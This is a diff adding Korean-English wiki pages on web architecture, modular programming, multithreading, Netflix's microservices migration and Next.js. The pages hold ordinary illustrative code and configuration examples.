next: { revalidate: 3600, tags: ["products"] },
|
||||
});
|
||||
|
||||
// trigger revalidation on update
|
||||
import { revalidateTag } from "next/cache";
|
||||
revalidateTag("products");
|
||||
```
|
||||
|
||||
### Server actions
|
||||
```tsx
|
||||
// app/contact/page.tsx
|
||||
export default function Page() {
|
||||
async function submit(form: FormData) {
|
||||
"use server";
|
||||
await db.message.create({ data: { body: form.get("body") as string } });
|
||||
}
|
||||
return (
|
||||
<form action={submit}>
|
||||
<textarea name="body" />
|
||||
<button>Send</button>
|
||||
</form>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### View transitions
|
||||
```tsx
|
||||
"use client";
|
||||
import { unstable_ViewTransition as ViewTransition } from "react";
|
||||
|
||||
<ViewTransition><ProductCard /></ViewTransition>
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Content site (blog, docs) | Astro SSG + minimal islands |
|
||||
| App with auth | Next.js RSC + server actions |
|
||||
| Personalized e-commerce | Next.js ISR + edge middleware |
|
||||
| Realtime dashboard | RSC + Suspense streaming + SSE |
|
||||
|
||||
**기본값**: Next.js 16 RSC for apps, Astro 5 for content.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Web-Architecture]] · [[프론트엔드_및_UIUX_표준|Frontend-Architecture]]
|
||||
- 변형: [[Single-Page-Application]] · [[MPA]]
|
||||
- 응용: [[Next-js-and-Modern-Web]] · [[Edge Computing|Edge-Computing]]
|
||||
- Adjacent: [[CDN]] · [[Server-Components]] · [[Hydration]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 server vs client component 의 split-suggest, Suspense boundary 의 propose, cache strategy 의 review.
|
||||
**언제 X**: 매 design system, brand identity, accessibility audit (manual + tooling).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Everything client**: 매 100KB JS 의 marketing page = 매 LCP regression.
|
||||
- **No streaming**: 매 await 의 block, blank screen 5s.
|
||||
- **Cache everywhere**: 매 personalized data 의 stale = 매 wrong-user bug.
|
||||
- **Edge for DB-heavy**: 매 cold start + DB latency = slower than serverful.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Next.js 16 docs, Astro 5 docs, Vercel architecture guides 2026).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — RSC + islands + edge web architecture |
|
||||
+181
@@ -0,0 +1,181 @@
|
||||
---
|
||||
id: wiki-2026-0508-modular-programming
|
||||
title: Modular Programming
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Modularity, Module System, Separation of Concerns]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [modularity, architecture, software-design, decoupling]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: any
|
||||
---
|
||||
|
||||
# Modular Programming
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 module = 1 concern, 1 contract, 1 owner"**. Parnas 1972 의 information hiding 매 origin. 2026 modular 의 매 form: ES modules, Rust crates, Python packages, Bazel targets — 매 boundary 의 explicit dependency graph.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 원칙
|
||||
- **High cohesion**: 매 module 의 single responsibility.
|
||||
- **Low coupling**: 매 inter-module 의 narrow interface.
|
||||
- **Information hiding**: 매 implementation detail 의 hide. Public surface 의 minimize.
|
||||
- **Acyclic dependency**: 매 graph 의 DAG. Cycle = refactor signal.
|
||||
|
||||
### 매 boundary type
|
||||
- **Logical**: namespace / package.
|
||||
- **Physical**: separate compile unit / artifact.
|
||||
- **Process**: separate deployable (microservice).
|
||||
- **Trust**: separate security domain.
|
||||
|
||||
### 매 응용
|
||||
1. Library author: 매 stable public API + private internals.
|
||||
2. App architect: 매 feature module + shared kernel.
|
||||
3. Platform team: 매 plugin host + extension points.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### ES Module barrel + private
|
||||
```typescript
|
||||
// src/auth/index.ts (public surface)
|
||||
export { signIn, signOut } from "./session";
|
||||
export type { User } from "./types";
|
||||
|
||||
// src/auth/_internal/hash.ts (convention: _ prefix = private)
|
||||
export function hashPassword(p: string) { /* ... */ }
|
||||
|
||||
// consumer
|
||||
import { signIn } from "@/auth"; // ✅
|
||||
import { hashPassword } from "@/auth/_internal/hash"; // ❌ lint rule
|
||||
```
|
||||
|
||||
### ESLint boundary rule
|
||||
```json
|
||||
{
|
||||
"rules": {
|
||||
"no-restricted-imports": ["error", {
|
||||
"patterns": [{
|
||||
"group": ["**/_internal/**"],
|
||||
"message": "Internal module — import via public barrel."
|
||||
}]
|
||||
}]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Hexagonal port/adapter
|
||||
```typescript
|
||||
// port (module boundary)
|
||||
export interface UserRepo {
|
||||
find(id: string): Promise<User | null>;
|
||||
save(u: User): Promise<void>;
|
||||
}
|
||||
|
||||
// adapter (Postgres impl)
|
||||
export class PgUserRepo implements UserRepo {
|
||||
constructor(private db: Pool) {}
|
||||
async find(id: string) { /* ... */ }
|
||||
async save(u: User) { /* ... */ }
|
||||
}
|
||||
|
||||
// core (depends on port only)
|
||||
export class UserService {
|
||||
constructor(private repo: UserRepo) {}
|
||||
async promote(id: string) {
|
||||
const u = await this.repo.find(id);
|
||||
if (!u) throw new Error("not found");
|
||||
u.role = "admin";
|
||||
await this.repo.save(u);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Dependency injection
|
||||
```typescript
|
||||
const repo = new PgUserRepo(pool);
|
||||
const svc = new UserService(repo);
|
||||
|
||||
// test: swap impl
|
||||
const fake: UserRepo = { find: async () => mockUser, save: async () => {} };
|
||||
new UserService(fake);
|
||||
```
|
||||
|
||||
### Rust crate boundary
|
||||
```toml
|
||||
# Cargo.toml
|
||||
[workspace]
|
||||
members = ["crates/core", "crates/api", "crates/db"]
|
||||
|
||||
[workspace.dependencies]
|
||||
core = { path = "crates/core" }
|
||||
```
|
||||
|
||||
### Python namespace package
|
||||
```python
|
||||
# myapp/auth/__init__.py
|
||||
from .session import sign_in, sign_out
|
||||
from .types import User
|
||||
|
||||
__all__ = ["sign_in", "sign_out", "User"]
|
||||
```
|
||||
|
||||
### Acyclic check
|
||||
```bash
|
||||
npx madge --circular --extensions ts src/
|
||||
# Or: nx graph --focus=auth
|
||||
```
|
||||
|
||||
### Module facade
|
||||
```typescript
|
||||
// payments/index.ts — single entry point
|
||||
export const payments = {
|
||||
charge: (amt: number) => /* ... */,
|
||||
refund: (id: string) => /* ... */,
|
||||
webhook: (req: Request) => /* ... */,
|
||||
};
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Small app (<10k LOC) | Logical modules (folders) |
|
||||
| Medium (10k-100k) | Package boundary + barrel exports |
|
||||
| Large (>100k) | Bazel/Nx targets + enforced graph |
|
||||
| Multi-team | Process boundary (services) |
|
||||
|
||||
**기본값**: 매 logical module + barrel + ESLint boundary rule.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Software-Architecture]] · [[Information-Hiding]]
|
||||
- 변형: [[Microservices]] · [[Hexagonal-Architecture]] · [[Clean-Architecture]]
|
||||
- 응용: [[Monorepo]] · [[Library-Design]]
|
||||
- Adjacent: [[Domain-Driven-Design]] · [[SOLID]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 module boundary 의 propose, dependency graph 의 visualize, refactor 의 split-suggest.
|
||||
**언제 X**: 매 domain ownership decision, team org boundary — Conway's law 의 human judgment.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **God module**: 매 utils.ts 의 1000+ exports. Cohesion = 0.
|
||||
- **Circular dependency**: A → B → A. Test 의 hard, build 의 slow.
|
||||
- **Leaky abstraction**: public surface 의 internal type 의 expose.
|
||||
- **Premature modularization**: 100 LOC 매 5개 module = over-engineering.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Parnas 1972 "On the Criteria...", Clean Architecture by Martin, Software Engineering at Google).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — modular programming principles + boundary patterns |
|
||||
+186
@@ -0,0 +1,186 @@
|
||||
---
|
||||
id: wiki-2026-0508-multi-threaded-architecture
|
||||
title: Multi-threaded Architecture
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Multithreading, Concurrent Architecture, MT Architecture]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, concurrency, threading, performance]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: cpp
|
||||
framework: stdthread-tbb-rayon
|
||||
---
|
||||
|
||||
# Multi-threaded Architecture
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 work를 multiple threads에 분산하여 throughput · responsiveness를 동시에 확보."**. 1990s SMP era에서 출발하여 2026 현재 manycore (Apple M4 Max 16-core, AMD Threadripper 96-core), GPU offload, async/await coroutine model이 주류. Game engine · server · ML inference · browser engine 모두 multi-threaded 설계가 default.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 thread model 종류
|
||||
- **OS thread (1:1)**: pthread, std::thread — kernel-scheduled, expensive context switch.
|
||||
- **Green thread / fiber**: Go goroutine, Java 21 virtual thread — userland scheduler, M:N mapping.
|
||||
- **Coroutine / async task**: C++20 coroutine, Rust async, Kotlin coroutine — stackless, await-resume.
|
||||
- **Task-based**: Intel TBB, .NET TPL, Apple GCD — work-stealing scheduler, no thread management.
|
||||
|
||||
### 매 architectural pattern
|
||||
- **Producer-consumer**: bounded queue로 backpressure.
|
||||
- **Pipeline**: stage별 thread, ring buffer로 연결 (LMAX Disruptor).
|
||||
- **Fork-join**: divide & conquer, work-stealing.
|
||||
- **Actor**: 매 message passing (Akka, Erlang, Pony) — no shared state.
|
||||
- **Data parallelism**: SIMD + thread pool — Rayon `par_iter()`, OpenMP `#pragma omp parallel for`.
|
||||
|
||||
### 매 응용
|
||||
1. Game engine — render thread + game thread + audio thread + IO thread.
|
||||
2. Browser — process-per-tab + GPU process + utility processes.
|
||||
3. Database — connection pool + worker threads + background flush.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Thread pool with work queue (C++20)
|
||||
```cpp
|
||||
#include <thread>
|
||||
#include <queue>
|
||||
#include <mutex>
|
||||
#include <condition_variable>
|
||||
#include <functional>
|
||||
|
||||
class ThreadPool {
|
||||
std::vector<std::jthread> workers;
|
||||
std::queue<std::function<void()>> tasks;
|
||||
std::mutex mtx;
|
||||
std::condition_variable cv;
|
||||
bool stop = false;
|
||||
public:
|
||||
explicit ThreadPool(size_t n) {
|
||||
for (size_t i = 0; i < n; ++i)
|
||||
workers.emplace_back([this](std::stop_token st) {
|
||||
while (!st.stop_requested()) {
|
||||
std::function<void()> task;
|
||||
{
|
||||
std::unique_lock lk(mtx);
|
||||
cv.wait(lk, [&]{ return stop || !tasks.empty(); });
|
||||
if (stop && tasks.empty()) return;
|
||||
task = std::move(tasks.front()); tasks.pop();
|
||||
}
|
||||
task();
|
||||
}
|
||||
});
|
||||
}
|
||||
template<class F> void submit(F&& f) {
|
||||
{ std::lock_guard lk(mtx); tasks.emplace(std::forward<F>(f)); }
|
||||
cv.notify_one();
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
### Rust Rayon data parallelism
|
||||
```rust
|
||||
use rayon::prelude::*;
|
||||
|
||||
fn process_batch(items: &[Item]) -> Vec<Result> {
|
||||
items.par_iter()
|
||||
.filter(|i| i.valid())
|
||||
.map(|i| expensive_compute(i))
|
||||
.collect()
|
||||
}
|
||||
// auto: work-stealing across all cores
|
||||
```
|
||||
|
||||
### Go goroutine + channel (fan-out / fan-in)
|
||||
```go
|
||||
func pipeline(input <-chan Job) <-chan Result {
|
||||
out := make(chan Result, 100)
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < runtime.NumCPU(); i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for job := range input {
|
||||
out <- process(job)
|
||||
}
|
||||
}()
|
||||
}
|
||||
go func() { wg.Wait(); close(out) }()
|
||||
return out
|
||||
}
|
||||
```
|
||||
|
||||
### Lock-free SPSC ring buffer
|
||||
```cpp
|
||||
template<typename T, size_t N>
|
||||
class SPSCQueue {
|
||||
alignas(64) std::atomic<size_t> head{0};
|
||||
alignas(64) std::atomic<size_t> tail{0};
|
||||
T buffer[N];
|
||||
public:
|
||||
bool push(T v) {
|
||||
auto t = tail.load(std::memory_order_relaxed);
|
||||
auto next = (t + 1) % N;
|
||||
if (next == head.load(std::memory_order_acquire)) return false;
|
||||
buffer[t] = std::move(v);
|
||||
tail.store(next, std::memory_order_release);
|
||||
return true;
|
||||
}
|
||||
};
|
||||
```
|
||||
|
||||
### Game engine 3-thread architecture
|
||||
```cpp
|
||||
// Main thread: input + game logic
|
||||
// Render thread: GPU command buffer
|
||||
// IO thread: asset streaming
|
||||
struct FrameSync {
|
||||
std::atomic<uint64_t> game_frame{0};
|
||||
std::atomic<uint64_t> render_frame{0};
|
||||
std::counting_semaphore<2> render_ready{0};
|
||||
};
|
||||
// double-buffer scene state to allow N+1 game tick parallel with N render
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| CPU-bound, divisible work | Rayon / OpenMP / TBB |
|
||||
| IO-heavy (10k+ connections) | async/await (Tokio, asyncio, Node) |
|
||||
| Real-time game loop | dedicated threads + lock-free queue |
|
||||
| Mixed workload | task-based (TBB, GCD) |
|
||||
| Simple parallel-for | thread pool + work queue |
|
||||
| Distributed across machines | actor (Akka) or message queue |
|
||||
|
||||
**기본값**: task-based scheduler (TBB/Rayon/Tokio) — manual thread management 회피.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Concurrent_Rendering]] · [[Distributed-Systems|Distributed_Computing]]
|
||||
- 변형: [[Fiber_Architecture]]
|
||||
- 응용: [[Game_Loop]] · [[V8_엔진_힙_아키텍처|V8 Heap Architecture]] · [[Browser]]
|
||||
- Adjacent: [[SharedArrayBuffer_보안_이슈와_Cross-Origin_Isolation]] · [[Memory_Leaks]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: throughput-critical workload, multi-core utilization, real-time game/server, ML inference batching.
|
||||
**언제 X**: simple sequential script, IO-light short-lived task, single-core embedded — 매 overhead 큼.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Shared mutable state without sync**: data race · UB.
|
||||
- **Coarse global lock**: 매 single-thread보다 느림 (lock contention).
|
||||
- **Thread per request (10k+)**: stack memory 폭발 — async 또는 thread pool 사용.
|
||||
- **busy-wait spin**: CPU 100% 소모 — condition variable / semaphore.
|
||||
- **False sharing**: 같은 cache line의 다른 atomic — alignas(64) cache padding.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Herb Sutter "The Free Lunch Is Over" 2005, Intel TBB docs, Rust async book 2026).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — full content (thread models, patterns, decision matrix) |
|
||||
+188
@@ -0,0 +1,188 @@
|
||||
---
|
||||
id: wiki-2026-0508-netflix-마이크로서비스-전환
|
||||
title: Netflix 마이크로서비스 전환
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Netflix Microservices, Netflix Cloud Migration, Netflix Architecture]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [microservices, netflix, case-study, cloud-migration, resilience]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: java
|
||||
framework: spring-boot-spinnaker
|
||||
---
|
||||
|
||||
# Netflix 마이크로서비스 전환
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 monolith → 매 1000+ microservice, 매 7년 의 journey"**. 2008 DB 손상 outage → 2009 AWS migration 시작 → 2016 완전 전환. 매 Chaos Engineering, Spinnaker, Hystrix, Eureka 의 birthplace. 매 modern microservice playbook 의 reference.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 timeline
|
||||
- **2008.08**: DVD shipping DB corruption — 3-day outage. Monolith fragility 의 trigger.
|
||||
- **2009-2012**: Cassandra adoption, Edge service split, AWS migration 시작.
|
||||
- **2013-2015**: Hystrix, Eureka, Ribbon, Zuul OSS 공개.
|
||||
- **2016.01**: 마지막 datacenter 종료. 100% AWS.
|
||||
- **2020+**: Service mesh (Envoy), gRPC migration, GraphQL federation.
|
||||
|
||||
### 매 driver
|
||||
- **Scale**: 매 30M (2008) → 200M+ (2020) subscribers.
|
||||
- **Velocity**: 매 daily deploy 의 thousands.
|
||||
- **Resilience**: 매 region failure 의 graceful degrade.
|
||||
- **Polyglot**: 매 service 의 own stack 의 freedom.
|
||||
|
||||
### 매 응용
|
||||
1. Stream startup: 매 Netflix OSS 의 reuse (Eureka, Spinnaker).
|
||||
2. Enterprise migration: strangler pattern + edge first.
|
||||
3. Resilience: Chaos Monkey 의 culture adoption.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Strangler Fig migration
|
||||
```java
|
||||
// API Gateway routes — gradual cutover
|
||||
@Component
|
||||
public class FeatureRouter {
|
||||
@Value("${migration.user-service.percent}") int migrationPercent;
|
||||
|
||||
public Route route(Request req) {
|
||||
if (req.path().startsWith("/users")
|
||||
&& ThreadLocalRandom.current().nextInt(100) < migrationPercent) {
|
||||
return Route.NEW_MICROSERVICE;
|
||||
}
|
||||
return Route.LEGACY_MONOLITH;
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Circuit breaker (Resilience4j, Hystrix successor)
|
||||
```java
|
||||
import io.github.resilience4j.circuitbreaker.*;
|
||||
|
||||
CircuitBreakerConfig cfg = CircuitBreakerConfig.custom()
|
||||
.failureRateThreshold(50)
|
||||
.waitDurationInOpenState(Duration.ofSeconds(30))
|
||||
.slidingWindowSize(20)
|
||||
.build();
|
||||
|
||||
CircuitBreaker cb = CircuitBreaker.of("recommendations", cfg);
|
||||
|
||||
Supplier<Recommendations> call = CircuitBreaker.decorateSupplier(
|
||||
cb, () -> recoClient.fetch(userId));
|
||||
|
||||
Recommendations result = Try.ofSupplier(call)
|
||||
.recover(t -> Recommendations.fallback()) // degraded UX
|
||||
.get();
|
||||
```
|
||||
|
||||
### Eureka service discovery (client)
|
||||
```java
|
||||
@SpringBootApplication
|
||||
@EnableDiscoveryClient
|
||||
public class RecommendationServiceApp { }
|
||||
|
||||
// caller
|
||||
@Autowired DiscoveryClient discovery;
|
||||
List<ServiceInstance> instances = discovery.getInstances("user-service");
|
||||
```
|
||||
|
||||
### Chaos Monkey schedule
|
||||
```yaml
|
||||
# spinnaker chaos-monkey config
|
||||
chaos:
|
||||
enabled: true
|
||||
schedule: "MON-FRI 09:00-15:00 PT"
|
||||
meanTimeBetweenKillsInWorkDays: 2
|
||||
exceptions:
|
||||
- { account: prod, region: us-east-1, stack: critical-payment }
|
||||
```
|
||||
|
||||
### Spinnaker pipeline (deploy)
|
||||
```json
|
||||
{
|
||||
"stages": [
|
||||
{ "type": "bake", "package": "user-service", "baseOs": "bionic" },
|
||||
{ "type": "deploy",
|
||||
"clusters": [{ "account": "prod", "region": "us-east-1",
|
||||
"strategy": "redblack", "capacity": { "min": 6, "max": 60 } }] },
|
||||
{ "type": "wait", "waitTime": 600 },
|
||||
{ "type": "checkPreconditions",
|
||||
"preconditions": [{ "type": "expression", "context": "kayentaPass" }] }
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### Bulkhead isolation
|
||||
```java
|
||||
ThreadPoolBulkheadConfig bulkhead = ThreadPoolBulkheadConfig.custom()
|
||||
.maxThreadPoolSize(10)
|
||||
.coreThreadPoolSize(5)
|
||||
.queueCapacity(20)
|
||||
.build();
|
||||
```
|
||||
|
||||
### Backpressure with reactive
|
||||
```java
|
||||
// Spring WebFlux
|
||||
public Flux<Movie> stream(String userId) {
|
||||
return userClient.getProfile(userId)
|
||||
.timeout(Duration.ofMillis(200))
|
||||
.flatMapMany(p -> recoClient.recommend(p))
|
||||
.onBackpressureBuffer(1000, BufferOverflowStrategy.DROP_OLDEST);
|
||||
}
|
||||
```
|
||||
|
||||
### Canary analysis (Kayenta)
|
||||
```yaml
|
||||
canaryConfig:
|
||||
metrics:
|
||||
- name: error-rate
|
||||
query: "avg(error_count) / avg(request_count)"
|
||||
criticality: critical
|
||||
direction: increase
|
||||
- name: latency-p99
|
||||
criticality: high
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Startup pre-PMF | Monolith. Don't copy Netflix yet. |
|
||||
| Growing (50+ eng) | Extract edge services first |
|
||||
| Scale (Netflix-class) | Full microservices + service mesh |
|
||||
| Resilience-critical | Chaos engineering + canary mandatory |
|
||||
|
||||
**기본값**: Modular monolith → strangler extraction when team/load demands.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Microservices]]
|
||||
- 변형: [[Service-Oriented-Architecture]] · [[Service-Mesh]]
|
||||
- 응용: [[Chaos-Engineering]] · [[Spinnaker]]
|
||||
- Adjacent: [[Strangler-Pattern]] · [[Circuit-Breaker]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 case study 의 summarize, OSS Netflix tool 의 explain, migration sequence 의 propose.
|
||||
**언제 X**: 매 own org 의 readiness 판단 — team maturity, ops capacity 의 honest assessment.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Cargo cult**: 매 5-person startup 의 microservices = 매 distributed monolith hell.
|
||||
- **No observability first**: 매 100 services + no tracing = debug 의 impossible.
|
||||
- **Big bang migration**: 매 monolith 의 1 day 의 split = outage.
|
||||
- **Skip chaos**: 매 production failure mode 의 unknown until customer hits it.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Netflix Tech Blog 2009-2024, "Building Microservices" by Newman, AWS re:Invent Netflix talks).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Netflix microservices migration case study + patterns |
|
||||
+234
@@ -0,0 +1,234 @@
|
||||
---
|
||||
id: wiki-2026-0508-next-js-and-modern-web
|
||||
title: Next.js and Modern Web
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Next.js, Next 16, Modern React]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [nextjs, react, rsc, server-actions, web]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: nextjs-16
|
||||
---
|
||||
|
||||
# Next.js and Modern Web
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 Next.js 16 = React 19 + RSC + Turbopack + edge-first"**. 2016 SSR helper → 2024 App Router → 2026 RSC default. 매 React 의 fullstack-y reference impl. Vercel runtime 외 의 self-host (Node, Docker, Cloudflare) 의 mature.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 capability
|
||||
- **App Router**: file-based routing + RSC + nested layouts.
|
||||
- **Server Components**: zero JS by default.
|
||||
- **Server Actions**: form/mutation 의 RPC.
|
||||
- **Streaming**: Suspense boundary 의 progressive render.
|
||||
- **Turbopack**: Rust bundler, prod build 5x faster.
|
||||
- **Edge runtime**: V8 isolates, sub-50ms cold start.
|
||||
|
||||
### 매 rendering mode
|
||||
- **Static (SSG)**: build-time, default for no-data routes.
|
||||
- **Dynamic (SSR)**: per-request.
|
||||
- **ISR**: stale-while-revalidate.
|
||||
- **PPR (Partial Pre-rendering)**: 매 static shell + dynamic streamed (16+ stable).
|
||||
|
||||
### 매 응용
|
||||
1. Marketing + dashboard combo: PPR.
|
||||
2. E-commerce: ISR + edge personalize.
|
||||
3. AI chat app: Server Actions + streaming response.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### App Router file structure
|
||||
```
|
||||
app/
|
||||
layout.tsx # root layout (server)
|
||||
page.tsx # /
|
||||
products/
|
||||
page.tsx # /products
|
||||
[id]/
|
||||
page.tsx # /products/123
|
||||
loading.tsx # Suspense fallback
|
||||
error.tsx # error boundary
|
||||
api/
|
||||
cart/
|
||||
route.ts # /api/cart
|
||||
```
|
||||
|
||||
### Server component data fetch
|
||||
```tsx
|
||||
// app/products/[id]/page.tsx
|
||||
import { db } from "@/lib/db";
|
||||
import { notFound } from "next/navigation";
|
||||
|
||||
export default async function Page({ params }: { params: Promise<{ id: string }> }) {
|
||||
const { id } = await params;
|
||||
const product = await db.product.findUnique({ where: { id } });
|
||||
if (!product) notFound();
|
||||
return <article>{product.name}</article>;
|
||||
}
|
||||
|
||||
export async function generateStaticParams() {
|
||||
const products = await db.product.findMany({ select: { id: true } });
|
||||
return products.map((p) => ({ id: p.id }));
|
||||
}
|
||||
```
|
||||
|
||||
### Server Action
|
||||
```tsx
|
||||
// app/contact/actions.ts
|
||||
"use server";
|
||||
import { revalidatePath } from "next/cache";
|
||||
import { z } from "zod";
|
||||
|
||||
const Schema = z.object({ email: z.string().email(), body: z.string().min(1) });
|
||||
|
||||
export async function sendMessage(_: unknown, form: FormData) {
|
||||
const parsed = Schema.safeParse(Object.fromEntries(form));
|
||||
if (!parsed.success) return { error: parsed.error.flatten() };
|
||||
await db.message.create({ data: parsed.data });
|
||||
revalidatePath("/contact");
|
||||
return { ok: true };
|
||||
}
|
||||
```
|
||||
|
||||
```tsx
|
||||
// app/contact/page.tsx
|
||||
"use client";
|
||||
import { useActionState } from "react";
|
||||
import { sendMessage } from "./actions";
|
||||
|
||||
export default function Page() {
|
||||
const [state, action, pending] = useActionState(sendMessage, null);
|
||||
return (
|
||||
<form action={action}>
|
||||
<input name="email" type="email" />
|
||||
<textarea name="body" />
|
||||
<button disabled={pending}>{pending ? "..." : "Send"}</button>
|
||||
{state?.ok && <p>Sent</p>}
|
||||
</form>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Streaming + Suspense
|
||||
```tsx
|
||||
import { Suspense } from "react";
|
||||
|
||||
export default function Page() {
|
||||
return (
|
||||
<>
|
||||
<h1>Dashboard</h1>
|
||||
<Suspense fallback={<Sk />}>
|
||||
<Sales /> {/* slow server fetch */}
|
||||
</Suspense>
|
||||
<Suspense fallback={<Sk />}>
|
||||
<Inventory />
|
||||
</Suspense>
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Partial Prerendering (Next 16)
|
||||
```tsx
|
||||
// next.config.ts
|
||||
export default { experimental: { ppr: "incremental" } };
|
||||
|
||||
// app/products/[id]/page.tsx
|
||||
export const experimental_ppr = true;
|
||||
|
||||
export default function Page() {
|
||||
return (
|
||||
<>
|
||||
<ProductHeader /> {/* static, prerendered */}
|
||||
<Suspense fallback={<PriceSkeleton />}>
|
||||
<DynamicPrice /> {/* streamed at request-time */}
|
||||
</Suspense>
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Cache directives
|
||||
```tsx
|
||||
// fine-grained cache (Next 16)
|
||||
import { unstable_cache } from "next/cache";
|
||||
|
||||
export const getProducts = unstable_cache(
|
||||
async () => db.product.findMany(),
|
||||
["products"],
|
||||
{ revalidate: 3600, tags: ["products"] }
|
||||
);
|
||||
```
|
||||
|
||||
### Route handler (API)
|
||||
```typescript
|
||||
// app/api/cart/route.ts
|
||||
import { NextRequest, NextResponse } from "next/server";
|
||||
|
||||
export async function POST(req: NextRequest) {
|
||||
const body = await req.json();
|
||||
await addToCart(body);
|
||||
return NextResponse.json({ ok: true });
|
||||
}
|
||||
|
||||
export const runtime = "edge";
|
||||
```
|
||||
|
||||
### Middleware
|
||||
```typescript
|
||||
// middleware.ts
|
||||
import { NextResponse, type NextRequest } from "next/server";
|
||||
|
||||
export function middleware(req: NextRequest) {
|
||||
if (!req.cookies.has("session") && req.nextUrl.pathname.startsWith("/app")) {
|
||||
return NextResponse.redirect(new URL("/login", req.url));
|
||||
}
|
||||
}
|
||||
|
||||
export const config = { matcher: "/app/:path*" };
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Content-heavy site | Astro (lighter) > Next |
|
||||
| Fullstack app | Next.js 16 App Router |
|
||||
| API only | Hono / Elysia (lighter) > Next |
|
||||
| Static export | Next `output: "export"` or Astro |
|
||||
|
||||
**기본값**: Next.js 16 + App Router + RSC + Server Actions + Turbopack.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Modern-Website-Architecture]] · [[React]]
|
||||
- 변형: [[Remix]] · [[SvelteKit]] · [[Astro]]
|
||||
- 응용: [[Server-Components]] · [[Edge Computing|Edge-Computing]]
|
||||
